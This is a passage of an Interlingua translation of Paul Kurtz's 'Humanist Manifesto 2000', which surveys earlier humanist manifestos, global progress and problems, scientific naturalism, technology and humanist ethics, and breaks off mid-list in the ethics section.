+{"text":"INTERLINGUA\nlingua international\nInformationes concernente interlingua: http:\/\/www.interlingua.com\nManifesto Humanista 2000\nUn Plano pro Pace, Dignitate e Libertate\nIn le Familia Global Human\nSubscribite per\nIn le autumno del anno 1999 \"Free Enquiry\", le revista del american \"Counsel for Secular Humanism\" ha publicate un scripto extense sub le titulo \"Humanist Manifesto 2000\". Le scriptor esseva Paul Kurtz, professor emerite de philosophia del \"State University\" in New York.\nIn le manifesto Paul Kurtz presenta un analyse detaliate del situation actual in le mundo con su vista humanista al futuro. Inter le 100 signatores del manifesto nos vide le nomines de un grande numero de personages prominente, inter le quales los de cinque premiatos Nobel.\nHumanistas e organisationes humanista in le integre mundoha reagite enthusiaticamente. Immediatemente on publicava traductiones in francese, germano, espaniol e in interlingua. Le traduction in interlingua es de Piet Cleij.\nLe sequente documento ha essite elaborate per Paul Kurtz, le redactor in chef de \"Free Inquiry\"\nPREAMBULO\nLe humanismo es un perspectiva ethic, scientific e philosophic que ha cambiate le mundo. Illo ha su origines in le philosophos e poetas del antique Grecia e Roma, in le China de Confucio, e in le movimento Carvaka del India classic. Artistas, scriptores, scientistas e pensatores humanista ha date forma al era moderne in le ultime medie millennio. In facto le humanismo e le modernismo ha semblate sovente synonymos, proque le ideas e valores humanista exprime un renovate fiducia in le poter del esseres human a resolver lor proprie problemas e conquirer frontieras inexplorate.\nLe humanismo moderne prosperava durante le Renascentia. Illo duceva al disveloppamento del scientia moderne. Durante le Seculo del Luces illo germinava nove ideales de justitia social e inspirava le revolutiones democratic de nostre tempore. Le humanismo ha collaborate al construction de un nove perspectiva ethic, centrate super valores de libertate e de felicitate e super le virtutes del derectos human universal.\nLe signatores de iste manifesto crede que le humanismo ha multo a offerer al humanitate, si nos reguarda le problemas del vinti-prime seculo e incluse los del nove millennio. Multes del vetule traditiones e ideas que le humanitate ha hereditate non plus es relevante pro le realitates actual e le opportunitates futur. Nos ha besonio de renovar le pensamento, si nos vole facer fronte al societate global que emerge nunc, e renovar le pensamento es precisemente le sigillo distinctive del humanismo. Pro iste ration nos presenta le \"Manifesto Humanista 2000\": un appello pro un nove humanismo planetari.\nLe sequente recommendationes es date con modestia, ma con le conviction que illos pote contribuer a un dialogo inter le differente punctos de vista cultural, politic, economic e religiose del mundo. Ben que nos qui subscribe iste documento ha principios e valores commun, nos es preparate a modificar nostre ideas in le luce de nove cognoscentias, circumstantias alterate, e problemas impreviste que poterea surger. Il non es possibile crear un Manifesto permanente, ma il es utile e sage producer un documento de labor, aperte a revision.\nPROLOGO AL PRESENTE\nQuatro grande Manifestos e Declarationes Humanista ha jam essite publicate in le vintesime seculo: \"Manifesto Humanista I\", \"Manifesto Humanista II\", \"Un Declaration Humanista Secular\", e \"Un Declaration de Interdependentia\".\nLe \"Manifesto Humanista I\" appareva in 1933 al puncto basse del depression mundial. Subscribite per 34 humanistas american (inter illes le philosopho John Dewey), illo reflecteva le preoccupationes de ille epocha, recommendante in prime loco un forma de humanismo religiose non theistic como alternativa al religiones del epocha, e, in secunde loco, un planification economic e social national.\nLe \"Manifesto Humanista II\" esseva publicate in 1973 pro affrontar le questiones que habeva emergite in le scena mundial post le prime manifesto: le progression del fascismo e su disfacta in le Secunde Guerra Mundial, le crescimento del influentia e poter del Marxismo-Leninismo e del Maoismo, le Guerra Frigide, le recuperation economic postbellic de Europa e America, le decolonisation de ample sectores del mundo, le creation del Nationes Unite, le revolution sexual, le crescimento del movimento de feminas, le requesta del minoritates pro equal derectos, e le emergentia del poter del studentes in le campuses.\nIste manifesto ha stimulate un amplissime debatto. Illo ha essite subscribite per multe leaders del pensamento e del action in le mundo: Andrei Sakharov (note dissidente sovietic), Julian Huxley (prime presidente del UNESCO), Sidney Hook, Betty Friedan, Gunnar Myrdal, Jacques Monod, Francis Crick, Margaret Knight, James Farmer, Allan Guttmacher, Ritchie Calder e A. Philip Randolph, e alteres. Illo defendeva le derectos human super un scala global, arguente pro le derecto de viagiar trans le frontieras national in un epocha quando isto esseva prohibite pro le personas vivente detra le Cortina de Ferro. Multe marxistas humanista in Europa oriental habeva attaccate le statalismo totalitari e ha salutate iste defensa del democratia e del derectos human.\nLe \"Manifesto Humanista II\" non plus defendeva un economia planificate, ma lassava le question aperte a systemas economic alternative. In consequentia, illo esseva subscribite sia per liberales e libertarios economic, qui defende le libere mercato, o per social-democrates e socialistas democratic, qui credeva que le governamento debeva haber un rolo essential a jocar in un societate de benesser. Illo propugnava democratisar le systemas economic e testar los pro vider si iste systemas incrementa o non le benesser economic de tote le individuos e gruppos.\nLe \"Manifesto Humanista II\" esseva scribite quando un nove revolution moral semblava incumbente: illo defendeva le derecto al controlo del natalitate, al aborto, al divortio, al libertate sexual inter adultos consentiente e al euthanasia. Illo pretendeva proteger le derectos del minoritates, del feminas, del vetule personas, del infantes maltractate e del personas handicapate. Illo invocava le tolerantia de stilos de vita alternative e le negotiation pacific de differentias, e illo deplorava le antagonismos racial, religiose e de classe. Illo faceva un appello pro le fin del terror e del odio. Illo esseva scribite in le unda del Vaticano II, que habeva tentate liberalisar le Catholicismo Roman. Le \"Manifesto Humanista II\" lassava spatio sia al humanismo naturalista, o al humanismo religiose liberal. Le manifesto esseva optimistic relative al panorama que se aperiva ante le humanitate. Illo indicava le beneficios del scientia e technologia pro le ben human. Illo prediceva que le vinti-prime seculo poteva devenir le seculo humanista.\n\"Le Declaration del Humanismo\" ha essite publicate in 1980, proque le humanismo e, in particular le \"Manifesto Humanista II\", habeva essite submittite a dur attaccos, particularmente del fortias religiose fundamentalista e del fortias politic del ala dextre in le Statos Unite. Multes de iste criticas susteneva que le humanismo secular esseva un religion. In consequentia, le inseniamento del humanismo secular in le scholas, on argueva, violava le principio de separation inter Ecclesia e Stato e establiva un nove religion. Le Declaration respondeva que le humanismo secular exprimeva un insimul de valores moral e un puncto de vista philosophic e scientific non theista que non poteva esser equate con le fide religiose. Le inseniamento del puncto de vista del humanismo secular non constitueva in alicun modo un violation al principio de separation. Illo defendeva le idea democratic que le stato secular deberea esser neutral, ni in favor de ni contra le religion.\nIn 1988, le Academia International de Humanismo offereva ancora un quarte documento, un \"Declaration de Interdependentia\", faciente un appello in favor de un nove ethica global e del constitution de un communitate mundial, que esseva sempre plus necessari in vista del institutiones global que se evolveva rapidemente.\nPROQUE UN HUMANISMO PLANETARI?\nBen que le major parte del affirmationes de iste precedente \"Manifestos\" e \"Declarationes\" es ancora actual, il es evidente que quando le mundo entra in un nove millennio, un nove \"Manifesto\" es necessari. E ben que il se ha realisate multe progressos desde le manifestos precedente, il ha emergite nove circumstantias que nos defia: le communismo totalitari ha collabite in le Union Sovietic e in Europa Oriental e le duo blocos del Guerra Frigide ha dissipate in grande parte. Nove sectores del globo ha tentate devenir plus democratic, ben que multe paises care ancora de institutiones democratic efficace. Totevia, le economia mundial ha devenite mesmo plus globalisate. International conglomeratos ha emergite e ha devenite transnational e, in un certe senso, plus potente que multe nationes in le mundo. Russia, China e altere paises ha cercate entrar in le mercato mundial. Necun pais pote governar su proprie destino economic independentemente del traffico e commercio mundial. Iste cambios fundamental ha occurrite in grande mesura a causa del crescimento accelerate del scientia e del technologia, e in particular del revolution informatic, que ha ducite a un rete mundial de communicationes economic e cultural. Il es possibile que le cambios occurrite in le mundo desde le \"Manifesto Humanista II\" (1973) es tanto grande e major que illos occurrite desde le Revolution Industrial ante duo centos annos, o desde le invention del characteres mobile e le imprimeria de Gutenberg. Le repercussiones super nostre global existentia va continuar a esser enorme.\nTamen, durante que le mundo deveni un familia global, rivalitates ethnico-religiose ha tentate divider territorios in factiones contendente. Le religiones fundamentalista se ha revitalisate, contestante le principios del humanismo e secularismo e requirente un retorno al religiositate del era premoderne. De equal maniera il ha emergite credentias paranormal del assi nominate New Age, favorite per le medios de massa, propagandisante un vista spiritual e paranormal del realitate. Le medios de communication se ha globalisate. TV, films, radio e editiones de libros e revistas es dominate per conglomeratos de medios, interessate quasi solo in annunciar e vender productos super le mercato mundial. Ultra isto le postmodernismo ha facite su apparition in multe universitates, mittente in dubita le premissas basic del modernitate e humanismo, attaccante le scientia e le technologia e vituperante le ideales e valores humanista. Multe visiones currente del futuro es pessimista, mesmo apocalyptic. Ma nos nos oppone a isto, proque nos crede que il es possibile crear un mundo melior. Le realitates del societate global es tales que solo un nove Humanismo Planetari pote dar indicationes significative pro le futuro.\nPROSPECTOS PRO UN FUTURO MELIOR\nPer le prime vice in le historia del humanitate nos possede le medios - fornite per le scientia e le technologia - pro meliorar le condition human, augmentar le felicitate e le libertate e altiar le nivello de vita pro tote le personas del planeta. Multe gente qui parla del nove millennio ha pavor de lo que va occurrer. Multes face prophetias apocalyptic - religiose o secular - super le calamitates del futuro. Le pessimistas indica le brutal guerras del vintesime seculo e adverti que nove formas de terrorismo e de agitation pote inundar le humanitate in le nove seculo.\nNos pensa que on pote facer un prevision plus positive e realista del prospectos human in le vinti-prime seculo. Nos desira facer observar que, nonobstante le agitationes politic, social e militar, le vintesime seculo ha essite teste de un grande numero de realisationes benefic. Quanto frustrante isto pote esser pro le personas qui lo nega, le prosperitate, le pace, un sanitate melior e standards crescente de vita es un realitate - que continua probabilemente. Iste grande realisationes technologic, scientific e social ha essite sovente subvalutate. Ben que illos se applica in grande parte al mundo disveloppate, lor beneficios se senti ora virtualmente ubique. Nos debe facer un lista de alicunes de illos.\n+ Le medicina scientific ha meliorate enormemente le sanitate. Illo ha reducite le dolor e le suffrentia e ha incrementate le longevitate. Le discoperta de antibioticos e le disveloppamento de vaccinos, technicas moderne de chirurgia, anesthesia, pharmacologia e ingenieria biogenetic ha totes contribuite a iste progressos in le defensa del sanitate.\n+ Ample mesuras de sanitate public, progressos in le distribution de aqua e dispositiones preventive ha reducite grandemente le incidentia del maladias infective. Remedios therapeutic, amplemente applicate, ha reducite drasticamente le mortalitate infantil.\n+ Le Revolution Verde ha transformate le production de alimentos e incrementate le rendimento del recoltas, reducite le fame e elevate le nivellos de nutrition pro ample zonas del planeta.\n+ Methodos moderne de production in massa ha incrementate le productivitate, liberate le laboratores de multe formas de labores physic penose, e ha facite possibile le beneficios e luxurias de benes de consumo e de servicios.\n+ Nove modos de transporto ha reducite le distantias e transformate le societates. Le automobile e le avion ha permittite al gente de transversar continentes e de superar le isolamento geographic. Le recercas astronautic ha aperite al specie human le aventura excitante del exploration spatial.\n+ Le discopertas technologic ha grandemente accelerate nove modos de communication super un base mundial. In addition al beneficios del telephono, del fax, del radio, del TV e del transmission via satellite, le technologia del computatores ha transformate radicalmente tote le aspectos del vita socio-economic. Necun officio o casa particular in le mundo disveloppate es intoccate per le revolution informatic. Le Internet e le World Wide Web ha facite possibile le communication instantanee quasi ubique in le globo.\n+ Le recerca scientific ha expandite nostre cognoscentia del universo e del loco del specie human in illo. Le investigation human es capabile ora de avantiar e de haber su discopertas confirmate per le scientia e le ration, durante que le speculationes theologic e metaphysic del passato ha facite pauc progresso o non del toto. Le discopertas del astronomia, del physica, del theoria del relativitate, del mechanica quantic ha incrementate nostre comprension del universo - desde le scala del microparticulas usque a illo del galaxias. Le biologia e le genetica ha contribuite a nostre cognoscentia del biosphera. Le theoria del selection natural de Darwin nos ha permittite comprender como evolve le vita. Le discopertas del ADN e le biologia molecular continua a revelar le mechanismo del evolution e del vita ipse. Le scientias social e illos del comportamento ha approfundate nostre cognoscentia del institutiones politic, del economia e del cultura.\nIn le vintesime seculo il ha occurrite anque multe disveloppamentos social e politic que es promittente pro le futuro:\n+ Le imperios colonial del dece-none seculo ha disparite quasi totes.\n+ Le menacia del totalitarismo ha diminuite.\n+ Le \"Declaration Universal del Derectos Human\" ha essite acceptate ora per le major parte del nationes del mundo (in parolas si non in actiones).\n+ Le ideales del democratia, le libertate e la societate aperte se ha propagate amplemente a Europa oriental, America Latin, Asia e Africa.\n+ Le feminas in multe paises frue ora de autonomia personal e de derectos legal e social e ha occupate lor loco in multe areas del activitate human.\n+ Pois que le economias national se ha globalisate, le prosperitate economic ha passate de Europa e America del Nord a altere partes del mundo. Le libere mercatos e le methodos del interprisas ha aperite regiones subdisveloppate pro investimento de capitales e pro le disveloppamento.\n+ Le problema del incremento demographic ha essite resolvite in le paises ric de Europa e America del Nord. In multe areas le population cresce non a causa del taxa de natalitate ma per le declino del taxa de mortalitate e le incremento del longevitate - un disveloppamento positive.\n+ Le augmento del nivellos de education, alphabetisation e inricchimento cultural es ora disponibile a sempre plus e plus infantes in le mundo - ben que il resta ancora multo a facer.\nNonobstante iste successos, nos debe affrontar directemente le difficile problemas economic, social e politic ante le quales le mundo se trova ancora. Le prophetas del Apocalypse es pessimistas; le Jeremias predice infortunas e calamitates. Nos responde que, si nos vole resolver nostre problemas, isto essera solo con le concurso del ration, del scientia e del effortio human.\n+ Ample sectores del population mundial non frue ancora del fructos del prosperitate: illos continua a languer in le paupertate, le fame e le maladia, in particular in le paises in via de disveloppamento, in Asia, Africa, America Central e Meridional. Milliones de infantes e adultos vive al nivello de subsistentia con nutrition insufficiente, povre servicios sanitari e mal sanitate. Isto vale anque pro multe personas in le assi appellate paises ric.\n+ Le population continua a crescer in multe partes del mundo a un taxa annual de 3 %. In 1900 le mundo habeva un population estimate de 1700 milliones de personas. In le anno 2000 illo superara le 6000 milliones. Si le tendentias demographic actual continua, ancora 3000 milliones de personas va esser addite in le proxime medie seculo.\n+ Si le population continua a crescer como previdite, isto va ducer a un drastic reduction del terreno disponibile pro cultivar grano per habitante, que in 2050 pote reducer se a un quarto de acre per persona in multe paises (in particular in India, Pakistan, Ethiopia, Nigeria e Iran). Le depositos de aqua pro le irrigation es jam superexploitate, lo que reduce le recoltas; multe fluvios del mundo comencia a siccar (includente le Nilo, le Fluvio Colorado e le Fluvio Jalne in China).\n+ Pois que le population human se ha expandite e le disveloppamento industrial se ha accelerate, forestes e areas con arboricultura ha essite devastate. On estima que cata anno dispare circa 2 % del forestes terrestre. Iste tributo continuara si on non prende mesuras preventive.\n+ Calefaction global del atmosphera es probabilemente in crescita, in parte como consequentia del deforestation in le paises povre e del emissiones de dioxydo de carbon, in particular in le paises ric, que continua a dispender ressources natural. Le persona medie in le Statos Unite e altere paises occidental consume e pollue inter 40 e 60 vices plus que un habitante medie de un pais del tertie mundo. Le consumption guastante es sovente incoragiate per companias orientate al crescita, con troppo pauc preoccupationes re le disastro ecologic.\n+ Le populationes de altere species ha diminuite constantemente e multe formas de vita vegetal e animal comencia a extinguer se - forsan le plus grande extinction desde le disparition del dinosauros ante 65 milliones de annos.\n+ Multe governamentos del mundo se vide confrontate con difficile problemas economic quando le citates es superpopulate per migrantes proveniente del campania: le grande majoritate de iste migrantes es disoccupatos e a pena illes ha le minimo pro subsister.\n+ Le disoccopation remane un serie problema in multe paises ric, super toto in Europa, que non succede a absorber laboratores juvene, a reconverter le technologia, a recyclar empleatos e a trovar empleos pro illes.\n+ Pro affrontar multes del problemas social e ambiental que occupa le humanitate, il ha essite attingite accordos de grande extension in un importante serie de conferentias international, ma le governamentos ha fallite de exequer le obligationes assumite; pauc paises ric da alicun prioritate al adjuta al majoritate del paises povre, o mesmo a adjutar le personas dispossedite o vivente in le margine de lor proprie societates.\n+ Le democratia remane debile o es inexistente in multe paises. Troppo sovente le pressa libere es musellate e on manipula le electiones.\n+ Le recognoscentia mancate de equal derectos pro le feminas es ancora troppo extendite in le major parte del paises del mundo.\n+ Multes del ex-territorios colonial ha entrate in un declino economic.\n+ Maladias que on jam credeva eradicate, tales como le tuberculosis o le malaria, se ha revitalisate, durante que le virus del SIDA circula liberemente in ample zonas del tertie mundo.\n+ Ben que le mundo non plus es dividite in duo superpotentias, le humanitate ha ancora le poter de autodestruer se. Terroristas fanatic, statos delinquente o mesmo le grande potentias pote provocar inadvertentemente eventos apocalyptic, utilisante armas de destruction massive.\n+ Le credentia in certe sectores que le libere mercato pote curar tote le problemas social remane un dogma de fide. Le problema de balanciar le demandas del libere mercato con le necessitate de equitabile programmas social pro assister le handicapatos e povres remane non resolvite in multe paises del mundo.\nNos admitte que iste problemas es serie e que nos ha besonio de prender mesuras adequate pro resolver los. Nos crede que solo con le uso del intelligentia critic e de effortios cooperative illos pote esser superate. Le humanitate ha affrontate defias in le passato e ha succedite a perseverar, mesmo a triumphar. Le problemas que se profila al horizonte non es forsan plus grande que illos que ha affrontate nostre predecessores.\nMa il ha anque altere tendentias periculose in le mundo que on ha recognoscite insufficientemente. Nos es particularmente preoccupate concernente tendentias antiscientific e antimoderne que include le emergentia de stridente voces fundamentalista e le persistentia del bigoteria e intolerantia, sia religiose, sia politic, o de origine tribal. Istes es le mesme fortias in multe partes del mundo que se oppone al effortios pro resolver le problemas social o pro meliorar le condition human:\n+ Le persistentia de traditional attitudes spiritual sovente incoragia approches non realistic, escappista e mystic al problemas social, inculca le disprecio pro le scientia e troppo sovente defende institutiones social archaic.\n+ Multe gruppos religiose e politic se oppone al contraception o al organisation de programmas destinate a reducer le fertilitate o a stabilisar le crescimento de un population. Como resultato isto impedi le disveloppamento economic e le reduction del paupertate.\n+ Multes de iste fortias anque se oppone al liberation del feminas e desira que illas continua a esser submittite al viros.\n+ Le mundo ha sempre plus cognoscite aspere conflictos ethnic e intensificate rivalitates tribal. Le plus sovente le dimensiones religiose de iste conflictos remane ignorate: in Yugoslavia inter christianos orthodoxe serbe, catholicos roman croate e musulmanes (in Bosnia e Kosovo): in Israel e Palestina inter judeos orthodoxe e musulmanes: in Irlanda del Nord inter protestantes e catholicos; in Sri Lanka inter tamiles hindus e buddhistas singalese; in Punjab a Kashmir inter hindus, musulmanes e sikhs; in Timor Oriental inter christianos e musulmanes.\n+ Le mundo es justemente preoccupate per le crescimento del terrorismo e del genocidio, ancora troppo frequentemente inflammate per nationalistas ethnic o chauvinistas religiose.\n+ Le multiculturalismo advoca le toleration de diverse traditiones ethnic e cultural e un recognition de lor derecto a exister. Ma nos ha anque vidite un fragmentation del societate e demandas de separation e isolamento, ironicamento in un epocha in le qual le doctrinas racista del nazismo e le apartheid in Sudafrica ha essite profundemente repudiate. Le intolerantia ha generate le purification ethnic e altere manifestationes virulente del odio racial.\n+ Il ha emergite in multe paises occidental un assi nominate ideologia postmodernista que nega le objectivitate del scientia, deplora le uso del technologia moderne e attacca le derectos human e le democratia. Alicun formas de postmodernismo consilia le defaitismo: in le caso melior, illos non offere alicun programma pro resolver le problemas del mundo: in le caso pejor, illos nega que il existe solutiones possibile o realisabile. Le effectos de iste movimento philosophico-litterari es contraproducente, mesmo nihilistic. Nos pensa que il se tracta de un mystification profunde, proque le scientias offere methodos rationabilemente objective pro judicar lor proprie affirmationes. In facto le scientia ha devenite un linguage universal, que parla a tote le homines e feminas sin distinction de lor fundo cultural.\nNos crede que il es necessari presentar un vision alternative pro deman. Le governamentos national e le leaders de corporationes debe abandonar le politica a breve termino e supportar un planification del futuro. Troppo sovente iste leaders ignora le melior consilios de scientistas e humanistas e basa lor politicas super le proxime election o super le reporto con le previsiones pro le proxime tres menses. Le governamentos national non debe preoccupar se exclusivemente del considerationes politico-economic immediate, ma prestar attention al necessitates del integre planeta e a un futuro sustenibile pro le humanitate.\nLe Humanismo Planetari cerca recommendar fines realisabile a longe termino. Isto es un distinction principal inter le humanismo e le premoderne moralitates a base religiose. Le humanismo formula coragiose nove imagines del futuro e genera fiducia in le capacitate del specie human pro resolver su problemas per medios rational e con perspectivas positive.\nLe Movimento del Luces del dece-octave seculo, que ha inspirate iste manifesto esseva sin dubita limitate per le epocha in le qual illo ha apparite. Su vision del Ration como un instrumento absolute plus tosto que un instrumento tentative e fallibile del investigation human esseva exaggerate. Tamen, su conviction que le scientia, le ration, le democratia, le education e le valores humanista poteva favorir le progresso human ha un grande fascino pro nos ancora hodie. Le Humanismo Planetari que iste manifesto presenta es post-moderne in su perspectiva. Illo assume le melior valores del modernitate, ma illo cerca transcender le negativitate del postmodernismo e reguarda in avante al etate de information ora nascente e a toto lo que isto presagi pro le futuro del humanitate.\nNATURALISMO SCIENTIFIC\nLe unic message del humanismo super le scena del mundo actual es su devotion al naturalismo scientific. Le major parte del visiones del mundo acceptate hodie es de character spiritual, mystic o theologic. Illos ha lor origines in le antique societates preurban, nomade e agricultural del passato, e non in le societate industrial o postindustrial del moderne cultura global de information que emerge ora. Le naturalismo scientific permitte al esseres human construer un vision coherente del mundo distachate del metaphysica e theologia, ma basate super le scientias.\n+ Primo, le naturalismo scientific es ligate a un serie de prescriptiones methodologic. Pro le naturalismo methodologic tote le hypotheses e theorias debe esser testate experimentalmente con referentia a causas e eventos natural. Il es inadmissibile introducer causas occulte o explanationes transcendental. Le methodos del scientias non es infallibile; illos non nos colloca in presentia de veritates absolute e immutabile; totevia in comparation illos constitue le methodos le plus digne de fiducia que nos possede pro augmentar nostre cognoscentias e pro resolver le problemas human. Illos ha habite un potente effecto in le transformation del civilisation mundial. Ample sectores del publico accepta hodie le utilitate del scientias: illos recognosce que le scientias ha habite consequentias positive.\nInfortunatemente, le application del methodos del scientias ha sovente essite confinate a stricte specialitates, e on ha ignorate le plus ample implicationes del scientias pro nostre vision del realitate. Le humanistas mantene que il es necessari extender le methodos del scientias a altere campos del activitate human e que il non deberea exister restrictiones pro le recerca scientific, salvo in le caso que le recerca infringe le derectos de personas. Le effortios pro blocar le recerca scientific pro rationes moral, politic, ideologic o religiose ha fallite invariabilemente in le passato. Le possibile resultatos benefic obtenite gratias al continuitate del discopertas scientific non pote esser subestimate.\n+ Secundo, le opportunitates que le scientias pone a nostre disposition pro disveloppar nostre cognoscentia del natura e del comportamento human es enorme. Le naturalismo scientific presenta un vision cosmic basate super hypotheses e theorias testate. Pro su description del realitate illo non se basa a priori super religion, poesia, litteratura o le artes - ben que istes es importante expressiones del interesses human. Le naturalistas scientific usa un forma de materialismo non reductionista: le processos e eventos natural pote esser explicate melio si on face referentia a causas material. Iste forma de naturalismo lassa spatio a un universo pluralistic. Ben que le natura es basicamente in su radice physico-chimic, processos e objectos se manifesta a multe nivellos de observation: particulas subatomic, atomos e moleculas; genes e cellulas; organismos, plantas e animales; perception psychologic e cognition; institutiones social e cultural; planetas, stellas e galaxias. Isto permitte explanationes contextual, extrahite ab le campos de recerca natural, biologic, social e comportamental. Isto non nega le necessitate de appreciar le varie expressiones moral, esthetic e cultural del experientia human.\n+ Tertio, le naturalistas mantene que le evidentia scientific pro le interpretationes spiritual del realitate e pro le postulation de causas occulte es insufficiente. Le doctrinas transcendentalista classic sin dubita exprimeva le passionate desiderios existential del esseres human volente superar le morte. Totevia le theoria scientific del evolution provide un information plus parsimoniose del orgines human e es basate super provas fornite de un ample spectro de scientias. Nos blasma le tentativas facite de alicun scientistas, sovente sustenite per le medios de massa, de imponer interpretationes transcendental super phenomenos natural. Ni le moderne cosmologia standard ni le processo de evolution provide evidentia sufficiente pro le existentia de un plano intelligente, que es un salto de fide ultra le evidentia empiric. Nos pensa que il es tempore pro le humanitate de assumer su proprie majoritate de etate e de lassar detra se le pensamento magic e mystic que es substitutos pro cognoscentias testate del natura.\nLE BENEFICIOS DEL TECHNOLOGIA\nLe humanistas ha defendite consistentemente le valor benefic del technologia scientific pro le benesser del humanitate. Philosophos desde Francis Bacon a John Dewey ha sublineate le poter crescente super le natura que permitte le cognoscentia scientific e como illo pote contribuer immensemente al progresso e felicitate human.\nCon le introduction del nove technologias il ha emergite sovente subproductos negative impreviste. Desde le Ludditas in le dece-none seculo usque le postmodernistas del vintesime seculo, criticos ha deplorate le applicationes del technologia. Sempre le humanistas ha recognoscite que alicun innovationes technologic pote ingenerar problemas. Infortunatemente, le applicationes technologic, in le major parte del casos, es determinate per considerationes economic - si le productos es profitabile - o per lor usos militar e politic. Il ha grande periculos inherente al uso incontrolate del technologia. Le armas de destruction massive (thermonuclear, biologic e chimic) non ha ancora essite regulate effectivemente per le communitate mundial. Similemente, multe inventiones innovator del genetica, del biologia e del recerca medic (como le ingenieria biogenetic, le clonation, le transplantation de organos etc.) presenta possibile periculos; tamen illos offere immense possibilitates pro le sanitate e benesser human.\n+ Primo, le humanistas objecta energicamente al effortios pro limitar le recerca technologic o pro censurar o restringer le investigation a priori. Il es difficile predicer in avantia ad ubi duce le recercas scientific o previder lor possibile beneficios. Nos debe esser caute censurante tal recercas.\n+ Secundo, nos sustene que le melior modo de tractar le themas concernente le applicationes technologic es le debattos ben informate, e non le appellation a dogmas absolutista o a slogans emotional. Cata innovation technologic debe esser evalutate in terminos del potential risco e del potential beneficio pro le societate e le ambiente. Illo presuppone un certe nivello de instruction scientific.\n+ Tertio, nos non pote abandonar le solutiones technologic. Le structura economic e social del mundo contemporanee deveni sempre plus dependente del innovationes technologic. Si nos desira resolver nostre problemas, nos non potera retirar nos a un idyllic stato de natura, ma nos debe disveloppar nove technologias que satisface le necessitates e objectivos human, e nos debe facer lo con sagessa e humanitate.\n+ Quarto, innovationes technologic que reduce al maximo le impacto human super le ambiente debe esser incoragiate.\n+ Quinto, le propagation de technologias intermedie accessibile anque al povres debe esser incoragiate, de tal modo que illes pote beneficiar del revolution technologic.\nETHICA E RATION\nLe realisation del plus alte valores ethic es essential pro le vision humanista. Nos crede que le crescimento del cognoscentia scientific permittera al humanos facer electiones plus sage. In iste modo il non ha un muro impenetrabile inter facto e valor, inter es e debe. Le uso del ration e del cognition nos permittera melio appreciar nostre valores al luce del evidentia e per lor consequentias.\nLe humanistas ha essite injustemente accusate esser incapace de provider fundamentos viabile pro le responsabilitates ethic. In facto, le humanistas es frequentemente blasmate pro le presumite decadentia moral del societate. Iste argumento es profundemente erronee. In le curso de centos de annos le philosophos ha providite solide fundamentos secular pro le action moral humanista. Ultra isto, multe milliones de humanistas ha vivite vitas exemplar, ha essite citatanos responsabile, ha elevate lor infantes con cura amorose, ha contribuite significativemente al melioration moral del societate.\n+ Le doctrinas moral theologic reflecte sovente conceptiones hereditate e prescientific del natura e del natura human. De iste hereditate pote esser trahite commandamentos moral que se contradice, e religiones differente frequentemente sustene vistas multo divergente super questiones moral. Theistas e transcendentalistas ha essite sia in favor de o contra le sclavitude, le systema de castas, le guerra, le pena capital, le derectos del femina e le monogamia. Le religiosos del diverse sectas se ha sovente assassinate mutualmente con total impunitate. Multes del terribile guerras del passato e del presente es inspirate per dogmas religiose intransigente. Nos non nega que le religiosos ha facite multe bon cosas; lo que nos nega es que le pietate religiose es le sol garantia de virtute moral.\n+ Ubique le humanistas ha defendite le separation inter religion e stato. Nos crede que le stato deberea esser secular, ni in favor de ni contra le religion. Dunque, nos rejecta le theocratias que cerca imponer un sol codice moral o religiose pro omne personas. Nos crede que le stato deberea permitter le coexistentia de un ample pluralitate de valores moral.\n+ Le principios basic del conducta moral es commun virtualmente a tote le civilisationes, religiose o non. Le tendentias moral es profundemente radicate in le natura human e ha evolvite in le curso del historia. Dunque le ethica humanista non require un accordo super le premissas theologic o religiose - que forsan nos attinge nunquam --, ma illo liga electiones ethic que in ultime instantia forma parte de interesses, desiros, necessitates e valores human. Nos los judica secundo lor consequentias pro le felicitate human e le justitia social. Gente de fundos socio-cultural multo differente applica in facto simile principios moral general, ben que judicios moral specific pote differer a causa de conditiones differente. Le defia pro le societates es dunque sublinear nostre similaritates, e non nostre differentias.\nQuales es le principios clave del ethica del humanismo?\n+ Primo, le dignitate e autonomia del individuo es le valor central. Le ethica humanista se obliga a maximisar le libertate de election: libertate de pensamento e de conscientia, mente libere e recerca libere e le derecto del individuos a sequer lor proprie stilos de vita como illes lo prefere non nocente a altere personas. Isto es specialmente relevante in le societates democratic ubi pote coexister un multiplicitate de systemas alternative de valores. Dunque le humanistas respecta le diversitate.\n+ Secundo, le defensa humanista del autodetermination individual non significa que le humanistas condona qualcunque typo de conducta human. Assi pauco implica le toleration humanista del diverse stilos de vita necessarimente lor approbation. Le humanista insiste que concomitante con le effortios pro un societate libere es le necessitate constante de elevar le nivello qualitative de gusto e appreciation. Le humanistas crede que le libertate debe esser exercite responsabilemente. Illes recognosce que tote le individuos vive intra communitates e que certe actiones es destructive e erronee.\n+ Tertio, le philosophos ethic humanista ha defendite un ethica del excellentia (desde Aristotele e Kant a John Stuart Mill, John Dewey, e M.N.Roy). Hic es presente le temperantia, le moderation, le continentia e le autocontrolo. Inter le standards del excellentia es le capacitate de election autonome, le creativitate, le gusto esthetic, le motivation matur, le rationalitate e un obligation de disveloppar le plus alte talentos de cata uno. Le humanismo tende a traher le melio del personas de sorta que totes pote haber le melio in le vita.\n+ Quarto, le humanistas recognosce nostre responsabilitates e deberes verso altere personas. Isto significa que nos non debe tractar altere esseres human como mer objectos pro nostre proprie satisfaction; nos debe considerar les como personas digne de paritate de consideration. Le humanistas sustene que \"cata individuo debe esser tractate humanmente\". Similarmente, illes accepta le Regula Auree que \"nos non debe tractar alteres como nos non vole esser tractate\". Illes accepta le injunction biblic que nos debe \"acceptar le estranieros in nostre medio\", respectante lor differentias. Date le multiplicitate de credentias, nos es totes extranieros - ben que nos pote esser amicos - in le communitate plus ample.\n+ Quinto, le humanistas crede que le virtutes de comprension e attention per le alteres es essential pro le conducta ethic. Isto implica que nos deberea disveloppar un interesse altruista pro le necessitates e interesses del alteres. Le fundamento del conducta moral es le \"decentias moral commun\"; isto es, le virtutes moral general que es amplemente commun in humanos de diverse fundos cultural e religiose. Nos debe dicer le veritate, complir nostre promissas, esser honeste, sincer, benefic, digne de fiducia e generose, monstrar fidelitate, appreciation e gratitude; haber le mente aperte, esser juste e tolerante; nos debe regular nostre differentias rationabilemente e essayar de esser cooperative; nos non debe robar o injuriar, ni ferir o facer damno a altere personas. Ben que le humanistas ha invocate le liberation del codices puritan repressive, con le mesme emphase illes ha defendite le responsabilitate moral.\n+ Sexto, alte super le agenda humanista es le necessitate de provider education moral al infantes e al juvenes, pro disveloppar le character e fomentar le appreciation pro le decentias moral commun, e pro incoragiar crescimento moral e le capacitate de rationamento moral.\n+ 